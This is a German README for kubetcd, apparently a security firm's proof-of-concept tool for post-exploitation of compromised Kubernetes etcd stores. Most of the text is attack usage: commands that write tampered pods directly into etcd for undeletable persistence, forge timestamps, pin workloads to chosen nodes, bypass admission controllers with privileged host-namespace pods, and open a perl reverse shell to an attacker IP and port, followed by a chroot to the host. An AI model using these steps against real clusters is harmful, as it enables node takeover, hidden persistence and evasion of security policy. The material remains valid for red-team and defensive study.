kubetcd

Kubetcd

Wrapper für https://github.com/jpbetz/auger.

Es automatisiert die Bereitstellung von Pods, indem es direkt in etcd schreibt. Es enthält mehrere Funktionen für die Post-Exploitation kompromittierter etcd-Instanzen.

Haftungsausschluss

[!WARNING]
Dies ist ein PoC; verwenden Sie es nicht in einer Produktionsumgebung. Das direkte Schreiben in etcd kann zu Inkonsistenzen oder beschädigten Daten führen, wodurch die kube-apiserver-Logik Daten aus etcd möglicherweise nicht mehr abrufen oder verarbeiten kann. Testumgebungen mit mehreren Knoten können mit KIND bereitgestellt werden.

Warum?

Das Haupt-Repository auger bietet die wichtigsten Funktionen zum Serialisieren und Deserialisieren von protobufferten Einträgen in etcd. Kubetcd ist ein PoC, der diese Funktionen kapselt, um etcdctl dem regulären kubectl-Client anzunähern. In einem Szenario mit kompromittiertem etcd würde kubetcd versuchen, manipulierte und privilegierte Pods zu nutzen, um Persistenz und privilegierten Zugriff auf einen oder alle Host(s) im Cluster zu erlangen. Beachten Sie, dass kubetcd derzeit nur Pod-Operationen unterstützt.

Voraussetzungen

Kubetcd übernimmt die Zertifikate und Schlüssel zur Authentifizierung gegenüber dem etcd-Dienst aus den folgenden Standardpfaden:

• /etc/kubernetes/pki/etcd/ca.crt
• /etc/kubernetes/pki/etcd/server.crt
• /etc/kubernetes/pki/etcd/server.key (dies ist nur für root lesbar)

Außerdem ist der Standard-Endpunkt als 127.0.0.1:2379 festgelegt.

Alle zuvor genannten Standardwerte können über Parameter geändert werden.

Außerdem muss etcdctl, der Client für etcd, installiert sein.

sudo apt install etcd-client

Installation

Repository klonen und bauen:

git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .

Bekannte Probleme

Möglicherweise tritt der folgende Fehler auf:

./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)

In diesem Fall bauen Sie kubetcd mit Golang 1.19.

Für die wichtigsten auger-Funktionen, die weiterhin bestehen, siehe https://github.com/jpbetz/auger. Diese README beschreibt nur die neu hinzugefügten Funktionen des Wrappers:

kubetcd ausführen

./kubetcd -h

Objekte abrufen

./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>

Einen neuen Pod erstellen

templateName sollte ein laufender Pod im Standard-Namespace sein:

./kubetcd create pod <name> -t <templateName>

Sie können einen laufenden Pod überschreiben, indem Sie dieselben Werte für name und templateName setzen.

Das Image ändern

./kubetcd create pod <name> -t <templateName> --image <image>

Startzeit manipulieren

./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"

Persistenz durch inkonsistente Daten

ETCD speichert neue Pods unter /registry/pods/<namespace>/<name>, aber die Felder namespace und name können manipuliert werden. Dadurch können diese Pods mit kubectl aufgelistet, aber nicht gelöscht werden.

./kubetcd create pod <name> -t <templateName> -p <randomentry>             
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace

Auf einem bestimmten Knoten bereitstellen

Workload nach Belieben auf einem beliebigen Knoten bereitstellen:

./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>

AdmissionControllers umgehen

Privilegierte Pods in eingeschränkten Namespaces bereitstellen. Dadurch werden integrierte AdmissionController wie PSPs, PSAs oder andere auf benutzerdefinierten Richtlinien basierende Richtlinien wie OPA Gatekeer oder Kyverno umgangen:

./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P 

Das Flag -P setzt jeden Pod als privileged und teilt die network-, PID- und IPC-Namespaces mit dem zugrunde liegenden Knoten.

Reverse Shell

Privilegierte Pods in eingeschränkten Namespaces bereitstellen und eine Remote-Shell erhalten:

./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>

Dies startet eine Reverse-perl-Shell, die in mehreren Images standardmäßig vorhanden ist. Sobald Sie die Reverse-Shell haben, wechseln Sie mit chroot /host das Root-Dateisystem, um vollständigen Zugriff auf den Knoten zu erhalten.

TODO

• Unterstützung für andere Binärdateien hinzufügen – nicht nur perl – um eine Remote-Shell zu erhalten
• Unterstützung hinzufügen, um Vorlagen aus anderen Namespaces als dem Standard zu verwenden
• Unterstützung hinzufügen, um Elemente außerhalb des Zweigs corev1 zu erstellen/abzurufen/löschen